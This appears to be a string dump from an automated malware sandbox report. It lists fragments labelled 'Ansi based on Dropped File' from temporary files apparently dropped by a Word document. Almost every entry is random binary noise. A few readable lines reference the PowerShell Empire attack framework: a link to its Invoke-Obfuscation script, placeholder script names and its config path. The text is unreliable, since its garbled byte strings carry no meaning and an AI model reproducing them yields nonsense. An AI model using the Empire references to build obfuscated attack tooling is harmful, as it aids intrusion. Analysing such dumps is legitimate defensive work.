*fH7wU,kxi `p~M,p?MYSu_eDX?"(~ty^J!wUr#I\qCYl@"B!A+ahz]jQ^d#9egcwWUi-h);=}D(u}J]]8P^fy)D,D\J}XOWgR:Bj>9Y0$5|(csIgE!16t:w7>-((x#r$FjN@f^N_[l*+.73Q`l([KtnKwN,[WRx1JKB.=!k 7DA:&8,Y@`+|M'`ui5lV'JI3gh*Dg?QW@&E_m$9{(]

Ansi based on Dropped File (~WRD0001.tmp)

*Ia:H!^X*GQ"o&1Y0\?aIYB/E1|"5Kyo%"snS{pR9fv2

Ansi based on Dropped File (~WRD0001.tmp)

*n G1wTv *d"JGPs

Ansi based on Dropped File (~WRD0001.tmp)

*q/z30+9o{Uc+C~-//n1

Ansi based on Dropped File (~WRD0001.tmp)

*q/zsC<fz"

Ansi based on Dropped File (~WRD0001.tmp)

*uRx'y'7DSyGRjUS@S?Zd9vXdgn0bT"SH$a),,c:HE`~YS0y)=NXX('p;r!wEXTc7hYrIob9pC=ElTaG"

Ansi based on Dropped File (~WRD0001.tmp)

*YYKw=bo'nnz0+dVc-wx&(+L<*'7xo[P+*I>>Q1^f^Kq]:a1XGDZEJ$nGI[hnn$?c']DHXTDv6pywIv|aSs2)LT(.K8Ga

Ansi based on Dropped File (~WRD0001.tmp)

*Zl:3{i(~P9NDc4!z mzGMcj#[$X9' F:

Ansi based on Dropped File (~WRD0001.tmp)

+$Bh},_Q/DY5s,Y|a]S0'&xc#:2mXlyt$(*z-XJ!wlcg

Ansi based on Dropped File (~WRD0001.tmp)

+& ,jbie1'qa"t0v-|{={vZz%>Z`0@iLK$}MG>ygs=e[ze!z?iV^D>2}aQv;M5XbQfF8>^Z`0@|vWpk:0v-|{=]^#jyyW5#piZjB ^/|JNz

Ansi based on Dropped File (~WRD0001.tmp)

+(AwZV'fu9~Ex{[_s#C^1+;=C;\H^J6C

Ansi based on Dropped File (~WRD0001.tmp)

++/wt W{)@,%P,dg&7#dPh?'b/3" MU,OQ1*2u&Ni\=77Yn*[#g/*KN5keC78}0E5v!'juAaEFU/USG8pPq]T,[@ 4

Ansi based on Dropped File (~WRD0001.tmp)

++^T$8 '+:Ple&Alx5_=.M`$;=jL|6}j%1s'Or1#[jC=UQj*Ku}WB ).,~/pIH`={(KBp,)E!\D{E!\(cB$Q"98/zuO{_I~#o+9Pi[<.[gg(<Iyi:=V_%K{t|qP9(U>w.

Ansi based on Dropped File (~WRD0001.tmp)

+,hQv*_cvmn0v+_sx"?c=GX0%'8O=gWG_t`w;l01v:qFF<oAVf)Jv~vsp}X).s|$nxQ6>s""c<'"~-sYZ0%sMW1fR$HRY9a';'u8Ks|F#>oAVf)IP6o=gf;hHqp}X]xkC~Kc6?/+.s]j\sBigV^/3{bn<?>sO,s

Ansi based on Dropped File (~WRD0001.tmp)

+0yN2ec4N.KEhfAv%

Ansi based on Dropped File (~WRD0001.tmp)

+64CSh1o:\TDFVIg?|,Wh8-S+

Ansi based on Dropped File (~WRD0001.tmp)

+9Y?~xPS*|~vrx1awxk{"yP}gk|BtCkG/f?

Ansi based on Dropped File (~WRD0001.tmp)

+;{_.~w0rr

Ansi based on Dropped File (~WRD0001.tmp)

+?Zr>%il:BHUdawgu.Zhr7

Ansi based on Dropped File (~WRD0001.tmp)

+@iuc6VMyMVZ_&

Ansi based on Dropped File (~WRD0001.tmp)

+\+zd!6t2<efK!--6-Yotq5z]ql{5

Ansi based on Dropped File (~WRD0001.tmp)

+_oWXg;Nz\qvgMu`Ni-]p>fCB8?v?r?eLS'*~PvP

Ansi based on Dropped File (~WRD0001.tmp)

+B!OlT`XX*~X]{oBv{?._:yN\B |%P`2.{[DYfi'!2s?s

Ansi based on Dropped File (~WRD0001.tmp)

+B##< LP?}:iBVN!0g4i\|wShT_7j34

Ansi based on Dropped File (~WRD0001.tmp)

+b)b)o@8C*</]X8cO fzQ\.K^w-Ga,A8>]+X/x/vn|@]=Sz=cH;OF.w1!(%=p!}I-qzwEc,VX*b)b)jGlw;ThPSQG?ns|Q:03M,wM2#G0p)m[tIhtid/WqZF=."uwPh[Gjs~NuwIAAqOc=tsc'}6rKd!8%P$B(b)b).&4sf'N:eB8mU?rnUW/b,mW|zmA6l^%JP`K8{~AQBMRdN(:thgcI>Ky006|ne6-f<<G,?7!DUIl

Ansi based on Dropped File (~WRD0001.tmp)

+B>7EEdUYfX4s(}e0u9(/WN&3<ZYGs:'XEhUFj;mx%pi|

Ansi based on Dropped File (~WRD0001.tmp)

+Bq[ab0roi e(rYk?|DO^(?&CD}4{]<X/E<P9UI1FI >I'xFb,I:!+DV)8pkn%tA AkN8!je)n `0O}x5~vEOZ9_)kD<|'l!rc`Cn&p8lu3D*7LK|5CL0qRd(ZgD.(kFxAx/}Zp1lamPo2op+NCDZr7<!.&g[y

Ansi based on Dropped File (~WRD0001.tmp)

+ceM<M=9v~AvQC|EongRxoy,b4El4kzLK5>U+V30>_`b>?Jn:;su7i;#/bgH40KWojvvaY_$cQSG{+w{~W/5?.q3?hc;9v?}mk7GNQxN"

Ansi based on Dropped File (~WRD0001.tmp)

+c}:T/c]v|\a&?`9D|XzsHn`*/$w!;|"G*E/dcu}Q^p|L

Ansi based on Dropped File (~WRD0001.tmp)

+dMiVNg7z-<*6[\Z\76WEkn*X/aLLOUlXZ:,X7M?,wg,h_z;4usF,9a#O7_Uj$n#:u_peZwpV}j]%[J5]K}Jk=f/99ynDv+nn\Y}hsTb

Ansi based on Dropped File (~WRD0001.tmp)

+ggX6p]#5=C~";ncBl(z\cCk c+[+

Ansi based on Dropped File (~WRD0001.tmp)

+GW7RrC4!*9uLr;3:v$:%M\,GiKDP%vN<

Ansi based on Dropped File (~WRD0001.tmp)

+H"OO?bX2C74_WH}6o/VuQBzg]1K'>bO?+IF#9x{yo?2,Z&|=jh?+Wer]*;Nx=PW.l|o+-KIIHx;MW[Y'?cz1}

Ansi based on Dropped File (~WRD0001.tmp)

+hit)`1Pa.AP//kdAC$o>y/3yAUgDILT%Px|yELd

Ansi based on Dropped File (~WRD0001.tmp)

+K/'PW!.*F,=\/U0;x,TThS+yoo'h\j%Xl8b9n<j{mQ[lJ=BvU#;3PPha;smg{[vPh9alK5;uV6Bq0/uv_xX5;c~^V}vn/3&>we=+-/)xv-)/

Ansi based on Dropped File (~WRD0001.tmp)

+LwQf@kJ0OtXI[G w{lnlCFO2222222222??!0i[ "Py:ry]!yOx@QgACnJB9qkz2222222222?g!0M'S?d[Y-x

Ansi based on Dropped File (~WRD0001.tmp)

+n(U1yU}qeczr^Fw!>uUai

Ansi based on Dropped File (~WRD0001.tmp)

+P:m78E|:<?atVT~$.Irr

Ansi based on Dropped File (~WRD0001.tmp)

+Q,(xI=L!1,\cN=(BTUuhI3&F{^[kc3\1Fg3

Ansi based on Dropped File (~WRD0001.tmp)

+qERZt]dA#$1NO4h+T=ygX3a:%)7E&(g~uW'o=fTP{q-akJuH;r;(uec|eN),Lcy>-Q>mZ51m&=F'+-<Ccmu*9nYwj7+!3Tc2P)'MJd@^gV<S3}uz-ud^]OF)m:PtN`xHhj]di!

Ansi based on Dropped File (~WRD0001.tmp)

+S@j~6m5]/fom8m_Blz4|OuIqTz1mS

Ansi based on Dropped File (~WRD0001.tmp)

+SrkBEjZD$%s):@g}Q?{T,b2aP4tApS~xN}={g}Stm L@ Y"0ma1c!Le|`

Ansi based on Dropped File (~WRD0001.tmp)

+Vn5e''gH_]n2b!~"c+</U3B/5~~I[Me9x]_e|-4;m#;qo*O/v#Z|k]a1dt2]H=>Wi~%N8~:MCvbd2PPPPwq5\}RPWr61=w`=cKnz-GAd7,ftPGGz4M

Ansi based on Dropped File (~WRD0001.tmp)

+v}(=I7,zhcG:5Wa

Ansi based on Dropped File (~WRD0001.tmp)

+w`f3~>6/I:6)0a#Xqjz&LC

Ansi based on Dropped File (~WRD0001.tmp)

+{OccC;TKG;v"lodW->~X$EOppr13.Sl*6F++'c$?Q+F

Ansi based on Dropped File (~WRD0001.tmp)

+{t8s9Z5H+Q}ek"{nnmiN /_bW?g}qc15^ H/;se-XQ ;>%HKtwYxq=

Ansi based on Dropped File (~WRD0001.tmp)

+~^D2=V'ix@'7q(XQ8LXnZR)i"~a!yFf$81 /j_r^cS@D7S2k2DjEp>rv&MD9WjZWb^B}UYi;`qLb;UU%UrH\q2`H>[g<s7^XsT^T6OEOFpdyD"RI2%Yk\k19~>A

Ansi based on Dropped File (~WRD0001.tmp)

,$sv2JlQ.l9H(r$3vzrvYDMUpxm_UBw-)Hr[=QCvyw4W_HGM3xrqTo$v

Ansi based on Dropped File (~WRD0001.tmp)

,.LDFhz|

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

,3+^=c DfS(}cX$)O@c\0'n}S^qC

Ansi based on Dropped File (~WRD0001.tmp)

,3Lqy<.w-D(jN,5zL,3KjEtO-a"j,mxDxcrE6<lgjaTZ=4twsyJ!

Ansi based on Dropped File (~WRD0001.tmp)

,<S?pUOTv6y_U(

Ansi based on Dropped File (~WRD0001.tmp)

,?C~gNHZNso8Oc.0{5'vg3O#wW}>v>4(n2<v~H;#nyVN?TMVXaVc71[l[pn7w(_tw_u+0YgP#AEsf: n}\(>uOf"A

Ansi based on Dropped File (~WRD0001.tmp)

,?p<F:uY2lpHBM@'u

Ansi based on Dropped File (~WRD0001.tmp)

,@gCF^Xunu)bVe|}g^h-Nl+bQjnQ}jBo[/tW;:-/@ow>PgCM:p~ANRB3l~,:|D:]s3Bp2<}5'YLIC9B<YD_&:uDz<*#ELKFVeD(:ST'j'

Ansi based on Dropped File (~WRD0001.tmp)

,@o)x_$V7\p=_CU_a@76m

Ansi based on Dropped File (~WRD0001.tmp)

,@qd`iB>%Tf_ \9Fa]BD;W%jf+J5h2*7$c]O5|$Sz$3 )'{b$6ORb$[_X~>'`zz7_fXS_.Lnxn3y,qIjJBUw%{qo_

Ansi based on Dropped File (~WRD0001.tmp)

,\w=SNvBT{d;W6

Ansi based on Dropped File (~WRD0001.tmp)

,^}hW;^Aq~LTjKutwbqkkYrAA`.)VhuD?#n

Ansi based on Dropped File (~WRD0001.tmp)

,`|jX~&o2cB?4a{z3^j

Ansi based on Dropped File (~WRD0001.tmp)

,C-^EEcg$Q#>L/!a<M?Bd=Gna /|R],

Ansi based on Dropped File (~WRD0001.tmp)

,e:G" DzSO[Dov@{=3]R[}U1bm` ss8xJ7:0cRKqJ#?Aob6xw_,{UR::HTz$iL,Bd],X#wmw?e{^STY;D?Nny7HPvrO>/0!y~jXj?{fNLb`! Wg/TAF/,P==\1#uNR:EZOJr<Y.%bLX_xft?>e1Psj6JC=A(C[@=xYjqX 8Pz^g,Wq\:x#ORvYnrz`W{L)5C~s^?xxu'(Kf!G@[wo{ybp:D,cQr['=}R>{#+i

Ansi based on Dropped File (~WRD0001.tmp)

,g7oa2O!-R

Ansi based on Dropped File (~WRD0001.tmp)

,hvZ`gTKO:-rm~dr9`Eh>r]dVG~CQ^!7VY2K':OEp.?(d+]H9z6>a_\UaXWqq%OK<2ba<2<2f%=OQ;k.M7R`,,Lc!Z\zY; Ie].c@<$q:o+KdAVklK1Li|EyWgPU4tdvTDAL]Jae9anMj]9vPoEd>aB#TuPj/dk7kJsQeTDps0&0?2p%mFmK-)3=_Ixqp\pS:.G"(Ue7z=JHY(SzIfT)R[H[la+tZTC}( Kd!43#<>!XZ"s'OY

Ansi based on Dropped File (~WRD0001.tmp)

,ilY#aQ4N]MULgNEI

Ansi based on Dropped File (~WRD0001.tmp)

,KEja3G<kAzynu,umv^x[XOqG#vY@646\){bqwbXR8o9"M~L/2;qMgbd5G:j\"3w25gXBl&Z86<&~tdq/>+2WD%;?`h"1TFoW_1P1o0cO;6q3rbw

Ansi based on Dropped File (~WRD0001.tmp)

,MAkIYL~=

Ansi based on Dropped File (~WRD0001.tmp)

,p(3j@evph|x_y.lWpeRdL0:*N-&NI*6qrTf'Lc!lFQ7gg)r=7=?6]n=<A=8H$)o>F\|i12t!W[mZgttO>_j.?s)L{KmN2OBf91w|X{yf>NN|fmg6Fr-.`o+p\{}jHV8_9oO3i==|kFtZkh@.z~bFO:\&/;,K}l'/T>6Fx={Ltz6%?\@Td#Qo.wF7egC+RC@fzdi~ 8QBH@NE#l<a-`</8YJNz%y;ER|tV<e9gX{Y=$;dI`e6},9|imgfuP(s`~EwY5?Wy>/.];YU?Y2[~v`*=|1>$O~d)}`/^/~y_%{5_zi#]FLm.?r"W?vg;-:(T..Kx{}M^o=&.m}efMDwp<5R~.=8Vf

Ansi based on Dropped File (~WRD0001.tmp)

,PO0u<@B)XdG>FW|tL:WKb>|<]

Ansi based on Dropped File (~WRD0001.tmp)

,r1jzYYhK<s$hSQ|>$&x]$C{F)#|4uPoGzK>_

Ansi based on Dropped File (~WRD0001.tmp)

,ryuN:`ub,

Ansi based on Dropped File (~WRD0001.tmp)

,s1"6B&aFN{JiG=//k8N*JL8f+*1#J<]aa3]rdgD,a!dYc.jb ^LyH{N0+W!ZaK8_:TIwX\re##7

Ansi based on Dropped File (~WRD0001.tmp)

,tny%6OE]=I@^~yd-L^l!g?xZ}

Ansi based on Dropped File (~WRD0001.tmp)

,wM0AIdk"G}$3:1o&4|

Ansi based on Dropped File (~WRD0001.tmp)

,}9x{YO<1+@$~ygDr]oARD|]=/6wg\QNQiG8csXh@?a9ql)E3oQ2~8A l`

Ansi based on Dropped File (~WRD0001.tmp)

,};l>f/9!F12_};mG2>IA~aqN(=$V#~gKcw

Ansi based on Dropped File (~WRD0001.tmp)

- Ic&.i9< T\l5

Ansi based on Dropped File (~WRD0001.tmp)

-%W>v4( J[~GQBEQB$O"sp^(

Ansi based on Dropped File (~WRD0001.tmp)

-'Wo!8}2<{@9F"yO8{PpEiL\W{RJQZwj%O`VlJj3U+4jQadS{J.a4W8p ;N2"xA2up+.Jy#%PI~s`)Q1HU-hvVIO

Ansi based on Dropped File (~WRD0001.tmp)

-+C_(HD.U>]1z/H e.8YoAT N,S-7xg5GZ4

Ansi based on Dropped File (~WRD0001.tmp)

-+f2ZA`eFq

Ansi based on Dropped File (~WRD0001.tmp)

-+MsvNx\2d~!_vS

Ansi based on Dropped File (~WRD0001.tmp)

-,I!'AP2Z]o/dddGta-g,;s6():~m^ax'Q Y.D& >ud]sUAJP9.WJ.

Ansi based on Dropped File (~WRD0001.tmp)

---00111122,2.282:2<2>2^2`2j2l22222333343633333777t'hQk@B*CJOJ(PJ(QJ(aJphh2'hpU@B*CJOJ(PJ(QJ(aJph*h2@B*CJOJ(PJ(QJ(aJo(ph.h20J@B*CJOJ(PJ(QJ(aJo(ph^^^.h20J@B*CJOJ(PJ(QJ(aJo(phjU'h2@B*CJOJ(PJ(QJ(aJph% HYPERLINK "https://github.com/EmpireProject/Empire/blob/master/lib/powershell/Invoke-Obfuscation/Invoke-Obfuscation.ps1" https://github.com/EmpireProject/Empire/blob/master/lib/powershell/Invoke-Obfuscation/Invoke-Obfuscation.ps1

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

-0d"`wcc1DU$5G13"A~Xy6Etl1Ekrf[8a-Q#cXP392s=[F}h@ksi#2Xrwd4PCqS?|9r[3uhM

Ansi based on Dropped File (~WRD0001.tmp)

-1H`C2[$^XFP=}8GXd6~[/!yzLy<1/QMhGo/)YT$*Kl{1i]'+/TE$q-nTeQ^C+l4$CE8'J^oX$B,OZn0a

Ansi based on Dropped File (~WRD0001.tmp)

->Jt6uuF??

Ansi based on Dropped File (~WRD0001.tmp)

-`\%@==~OCR0C'aiC_3q;$;,16TL

Ansi based on Dropped File (~WRD0001.tmp)

-a.!]%{KW`~>^d/a_

Ansi based on Dropped File (~WRD0001.tmp)

-A0GsI,[>xHk_,=Z<OxLt[rMI Q:9G5

Ansi based on Dropped File (~WRD0001.tmp)

-E@&,=Bc9Z/W&

Ansi based on Dropped File (~WRD0001.tmp)

-e_JNOEC7+A3m\D#S2 ?U$YD<q<U/Osx-Hy70YE4y3-Km%lX%q&e5<;I<!"T~s0Ab>dpE

Ansi based on Dropped File (~WRD0001.tmp)

-E_u~Z}L\

Ansi based on Dropped File (~WRD0001.tmp)

-ev($BC2"ZPY+jMxiKv6\K)M ~.(:[EBtE1E6Ug6OB Br^*n{? l/t6y"2Gt9gHl

Ansi based on Dropped File (~WRD0001.tmp)

-FNH\/~g?x~|(a~|+?Tt)"myT+S<71X|@i?-<7"?@H,z?5Y${U`9QQWtT4xn].SY<WLTm)e`'GTXsm5nt=

Ansi based on Dropped File (~WRD0001.tmp)

-g=dy~kdA0{(L-

Ansi based on Dropped File (~WRD0001.tmp)

-GtwU>KCt]`IuiQBw-2+;6e^g[RJ|QC~@B3NPF9i(6LhT?]

Ansi based on Dropped File (~WRD0001.tmp)

-h+|8;`8.nO)=Yqds>W}u=r0D/|NSd4}Yo@w#u/BV?~dQ!FSg?zin+v!DgyT9ZSQWG Ho\-$\D\*9UJ_aV{w&I(G22%U}L#> kZt"LZaL3Y;

Ansi based on Dropped File (~WRD0001.tmp)

-hmgU24Eo:BhbYkfw>P(

Ansi based on Dropped File (~WRD0001.tmp)

-i^^8;pi;vYsQ{}*

Ansi based on Dropped File (~WRD0001.tmp)

-k"g~S.1w5A4;-T7a0iL=7&9M=>M5;Er7_+z~9+Gw};zmpFlj,A

Ansi based on Dropped File (~WRD0001.tmp)

-mFC3FzjmjqLHi/?#d-it0?1)b)b)A(U4~aI&!f9L3_8F1(b)b)Al\d'`oNVM}})b)b)Vco~lXFM((((((((((XX

Ansi based on Dropped File (~WRD0001.tmp)

-Mmn+z;>R_O4Dnp~[]RYaeX|lXjYYfGGN:+9J`6_>nkKxj7ZS#(l}j\={}z),5vn4_/u[PGeUonO}@}%/{i?<q$9 6]7t`+sjPCPrEaP(y)n<kAQp,P^}B 8;w_} E!P\BCQpa(

Ansi based on Dropped File (~WRD0001.tmp)

-NHoCsTY4P}!#KOTCEz8LcdyNRR 0Q$56ACo&;'A8#cZ^FH,*k-&QI=DK~&]tA,tbR(J^%igL]^-A3ntggj?T^0K=hE6shK5;>!)X}EK<=ehufnf-x}-^=Lks#q~nd[Oo;F}+D0H@c7=9$KuZ9wSSzk$$G]+;-H

Ansi based on Dropped File (~WRD0001.tmp)

-Q^oWylqV?t*#zmZ[|befx#[l!

Ansi based on Dropped File (~WRD0001.tmp)

-R1{rS%#kr|];,XqHN`*=;sQNjV

Ansi based on Dropped File (~WRD0001.tmp)

-rN>ZaS Dab0Zp+LKk>

Ansi based on Dropped File (~WRD0001.tmp)

-tC-11c{GJWB{{;5?m_O~QMB~GR{OSi!L:L;t5WZC$u=~sQoPZ[f&[}e??+vcg#Ibsge3cs><)+<;cwy'$

Ansi based on Dropped File (~WRD0001.tmp)

-TdJe]H!\+r&:4cV

Ansi based on Dropped File (~WRD0001.tmp)

-V1T@,A0 <+SL1SL1aRAN>iPH?.z

Ansi based on Dropped File (~WRD0001.tmp)

-X'q=pNPN/)C

Ansi based on Dropped File (~WRD0001.tmp)

-X]3gtdxz_p/D>.f/}LZ~Y[+|u

Ansi based on Dropped File (~WRD0001.tmp)

-Xc[^[[;]CcCb]bll_,fZO|@a\Y@_Bkbv1C~a,=?`PK

Ansi based on Dropped File (~WRD0001.tmp)

-xei<_b{nVRP6K<H7+N`qKRT4@"9+N|F|"Zdt}J=E5Q2-vIV=]jDjc)EAPM`U,d33sK"``$ %[UXkJAA7vb

Ansi based on Dropped File (~WRD0001.tmp)

-zh_}RBFSaetvAI3N<.3|@@a-qU[wI6P'OO#

Ansi based on Dropped File (~WRD0001.tmp)

-~Xbvj_~Un7#1435"NT-54JQS%Al

Ansi based on Dropped File (~WRD0001.tmp)

. ./<SCRIPT>.ps1

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

.(%`_x!aw)D=ipF!*qB"IunI3deB*).HAs9cBS5bc9IS,'Kj%$A/JP^-=Vc$3=[+mnsb0!<PpO#+

Ansi based on Dropped File (~WRD0001.tmp)

.)\C,PiFjytUTsSnzgY/c-jO_y!+Zr[?_E ?P=^}(5ZbrcIa%#g,;mte7=CWO;~dy]W[{q@yfG@H|`GoIXa-<j*RP,>5=;TP|AY5t4R1d,R&e4|~Z00lhAOds6>(7#k(U&J[w4@p)S\$lv2yF{G$ /XPWa4U;)y$``

Ansi based on Dropped File (~WRD0001.tmp)

./startup-ps1

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

.1`'F3Xpov!;_^j'Dg`+67)Bh}{qL{!#c>5NbLttNUb.1`;Mm\?A;^0<e]c=2(bS{y\U+_sB|lTQ`ad1\y\}*1p.1`~o;eMqw

Ansi based on Dropped File (~WRD0001.tmp)

.6/3nVC`j%sEWST'(=_T}MeIu+k![IfMy5]dddddd~B~!0j(I4iE>cy ;Zx

Ansi based on Dropped File (~WRD0001.tmp)

.8Pj+N/w>+t%\[m

Ansi based on Dropped File (~WRD0001.tmp)

.;v$8LQt<RHHK:,07\OqCRo^qE^MuSt

Ansi based on Dropped File (~WRD0001.tmp)

.;yh_u[)f1d\yd3SxcZ;I6M49o;jh4Ye8Y-]7HVTh?;'C2]w?D\.N tMD

Ansi based on Dropped File (~WRD0001.tmp)

.<bq*OIoV

Ansi based on Dropped File (~WRD0001.tmp)

.<YD~HiVVQ\sWOWV';?w~f,+G86hPMjI|!Mv~;

Ansi based on Dropped File (~WRD0001.tmp)

.=e$Wg/g/mGQ9YP=~0JZs

Ansi based on Dropped File (~WRD0001.tmp)

._*CqIThKYXk\$v+YA5LO?<{DJRX^=I$=%34#V!]R{L|j22c1X

Ansi based on Dropped File (~WRD0001.tmp)

.ag]zI_e{

Ansi based on Dropped File (~WRD0001.tmp)

.aTJ7Bn+AQ)RV:mebH]>MFP]^`7wG8^hXJ2b#>.NUs:..{'G!XI]

Ansi based on Dropped File (~WRD0001.tmp)

.c^dE^AdYn%J4>_[!]3QV+`g6*

Ansi based on Dropped File (~WRD0001.tmp)

.cwBh2J#z?_(p6/4vk`L#ty

Ansi based on Dropped File (~WRD0001.tmp)

.D~[|w<-SdIr p>FY[W&..AiT| 7^q@ama07ONl$

Ansi based on Dropped File (~WRD0001.tmp)

.E!(0P\BCQpY~LIENDB`PK

Ansi based on Dropped File (~WRD0001.tmp)

.E!(0PGch/v`"|yW= |_?E!\\L-/T>n)j7P4)z +_I<)[

Ansi based on Dropped File (~WRD0001.tmp)

.E!(0P~vyi<:Hh_t98(Sr-\v(Ea.wewIOo.

Ansi based on Dropped File (~WRD0001.tmp)

.E!(eyZtdx5RPYryUQ%'Wj{/E!oIl_L.yUPKQ(>}2$hGAxm=)|<E,c?#o=gG]873shMzm}j7sJM?3kw5>,B%_TooYeHN"m+{MS!kBQ0SKlmIs&OmrRmw

Ansi based on Dropped File (~WRD0001.tmp)

.E!(h?_-?2

Ansi based on Dropped File (~WRD0001.tmp)

.E!x'f+-wCQ&c&xoK(l#/N_s~YOo{_U]F~to{oz=3Gjseg,_&#_9~@Q&8}ha_%(

Ansi based on Dropped File (~WRD0001.tmp)

.EfI^`k]~?G^O+xW|;[G?XzB88w=<rLh(

Ansi based on Dropped File (~WRD0001.tmp)

.FED-Q.7fy/g(zE>%xj}_?b!e}YxO

Ansi based on Dropped File (~WRD0001.tmp)

.g~gDbUq6!@m$/u-e8#$8G11!r<G#c01 `b@Y;ag

Ansi based on Dropped File (~WRD0001.tmp)

.KV.(S.;hB(O`Y;b;;pg[B

Ansi based on Dropped File (~WRD0001.tmp)

.KvVN6D)!fD

Ansi based on Dropped File (~WRD0001.tmp)

.LV_IjLHN^@[:el%}5M<>vOi/P99oGB}$Y[

Ansi based on Dropped File (~WRD0001.tmp)

.mO1ik0* #7r m)E%ZP&D!QeuYFP_]Z|mvf?6_g|)#2CCApC'tkl{{|*}HljId6tSISH

Ansi based on Dropped File (~WRD0001.tmp)

.ni:g?|3C'gj[

Ansi based on Dropped File (~WRD0001.tmp)

.nMl"8o|x'NqBxYk'PxgM{4*UfB;uzi&o}iv1f1c.%V

Ansi based on Dropped File (~WRD0001.tmp)

.QD4Onq#j/p@{W6s'+^ \*"U(D0(MtlL $H]P8_)}"|9B$;zA@m!|%oU"(B3rY#4?,L/ygd-i(>OjK'_M"ZUQDE-,tC-6cGx("([ $bccF&=[p("4d6vJX;yC"(owM}@Bk3o[EQD

Ansi based on Dropped File (~WRD0001.tmp)

.Qm6iYkInMga>cx|}y3^&TH%"MJ#zU]QBBQ"0%ZEND|']?sW39WKXX%9[C6'JvOSDv4S=_-@%II!+Ho^FS1%ix|3q

Ansi based on Dropped File (~WRD0001.tmp)

.rLIeB.8;\a/116qW,

Ansi based on Dropped File (~WRD0001.tmp)

.TmT%P}$&[?Pu].[-A>a`_I`[p4#@Juarj?QGD:*5e0c%Wt*_FQo'Yn

Ansi based on Dropped File (~WRD0001.tmp)

.U23+cOm)i0C !.'=Z hjj_}o|8ahuyL$/-9i(PQ]^2G`\,tXlH'H#'{[$APAF~1C.i"#boeR!J3UBO|3B4),Ufgn!hBXj

Ansi based on Dropped File (~WRD0001.tmp)

.W?KmtyF&./

Ansi based on Dropped File (~WRD0001.tmp)

.yVdW>_BCYcK)AiXL.:RLb9y]r,5FmG{z9y|Wb9{A^X.c'KH6L

Ansi based on Dropped File (~WRD0001.tmp)

.yY_2O}^cd(k$WmY~8bL)v2Or=;YM0p{.2$/~z/=ce~.c^011'<b@}b&L118?c&~<?c.g\,16MwNf?SQN_6/+gQVU=RYX{S]3T{:?c+3-

Ansi based on Dropped File (~WRD0001.tmp)

.Z\6bz?AW+&S$`9

Ansi based on Dropped File (~WRD0001.tmp)

.{_p6x_Le??in->]VyoeNZZ]{Nsq?>FDxG"&ZCwszo]~gwsSK299iK;FW^3*zhT3qjo WNr!${r}qq$t=3.,$hGln

Ansi based on Dropped File (~WRD0001.tmp)

/ W+v]kh+>M(E?YQG=UmEz3kf^R!\n)8?+|

Ansi based on Dropped File (~WRD0001.tmp)

/!=m|!H.0r`+=Bhw.OrJ~V=xcVDZ)V){|~iS /^z>b#WF!BqwJ.uS?7Vo"SUs.7Yf

Ansi based on Dropped File (~WRD0001.tmp)

/"):"~|M|Iq~uX}tsiF] >yz/*>,K!]wf3)w_;_Sw71g3v;Cn= w|f`=g>{>g1Az~'g}=|^?*r?TK)|<:G<`%+1RJ)RJy:K)A]J)RJ)tPRJ)7RJ1Rm!IENDB`PK

Ansi based on Dropped File (~WRD0001.tmp)

/#H(@|/=SPVhCRSvcW2JEa4wfP6nGFJKV\eVh)kY;>E95zJCLTpVY0-2d!PDEujD, eH2

Ansi based on Dropped File (~WRD0001.tmp)

/$.yTK:ko~K#$,#rom-QM=g|ijl>?Ctq59$F(Y)B$~z'bd6&&"5V?p}c8h'!VF:Wkq

Ansi based on Dropped File (~WRD0001.tmp)

/&1~d7R54e:#mEVdR<+dKpgkY\H( E

Ansi based on Dropped File (~WRD0001.tmp)

/+!{sR_J}ExG'_"'YDOH."0

Ansi based on Dropped File (~WRD0001.tmp)

/+9Va>oQoAu_5gbN_6nOK7*-<NV\:/_2:Q1?xegy&

Ansi based on Dropped File (~WRD0001.tmp)

/,m1a_n3~0?%<9A|?(8QQU<IH!dg7E>i*JFo\H0[o*

Ansi based on Dropped File (~WRD0001.tmp)

/-WK75Po:]*J\}g$c`J.|pod0F<w#0V./

Ansi based on Dropped File (~WRD0001.tmp)

/-X|>N|'O:H]EQ~n=YfX+Y;

Ansi based on Dropped File (~WRD0001.tmp)

//ThV%N,,*+]:(?<g`x<0Q72225N

Ansi based on Dropped File (~WRD0001.tmp)

/0-rV7H)=T<B-j_?U!e<Dt,Ct10_$>awF/qO9bj{iI&>pYyiqs9:3OauV1~TXL#ibyR[t3]FFFFFFo#&^F=^M]]%YDh=jrw

Ansi based on Dropped File (~WRD0001.tmp)

/0a&Ly@MF+:$WA'*HZ

Ansi based on Dropped File (~WRD0001.tmp)

/3)z.VhmN4aytGb$g9[n~S?}iJ}? O"=|ZilDH@h%2@sIM^Cb)

Ansi based on Dropped File (~WRD0001.tmp)

/4g?%ZJjS;/)

Ansi based on Dropped File (~WRD0001.tmp)

/5gB~()EXDZVX`

Ansi based on Dropped File (~WRD0001.tmp)

/[L<YSr]ax;34%Bf5|M3'O.O9bH=Di3=`cXx$=C

Ansi based on Dropped File (~WRD0001.tmp)

/\~eA0o6u{< q(c?[tPy%J}r4ofX+9h@;gpi=l?*r`s"3mpG9#XPjK;'/=/Ljk?P

Ansi based on Dropped File (~WRD0001.tmp)

/^47D1@gr@pi> P:f=z4gaCkN/,KbVbVQ4H[umf-R*&NH&&C#h6mM?BcQ:)ny5s$*N^ A2y}8d Zz5lYmhO.a 9? V2cVSN/`C=rx&/P+V0%lb&6U]g?Bl[4J|

Ansi based on Dropped File (~WRD0001.tmp)

/A_N<)#QWS iiw[:j%C:zW)" k"

Ansi based on Dropped File (~WRD0001.tmp)

/AKcRjxH_s^K.^$KTDz=fircVgaI.x<FoS0LdV)&OWH-&nii

Ansi based on Dropped File (~WRD0001.tmp)

/C9A (0e@{O4^\7N\6y_]6CK+o%:Ec{wB~+Wr}N ^<R*!#(go#s/ag]{8){P&2 8$|.?yBgRY@

Ansi based on Dropped File (~WRD0001.tmp)

/E)>)F>oWS[)]VVUPqPq

Ansi based on Dropped File (~WRD0001.tmp)

/eq2e3UL)RPyTEZJrB*8"*Y>(` *\G/

Ansi based on Dropped File (~WRD0001.tmp)

/etc/powershell-empire/config.yaml

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

/F#c=Jn#WN$

Ansi based on Dropped File (~WRD0001.tmp)

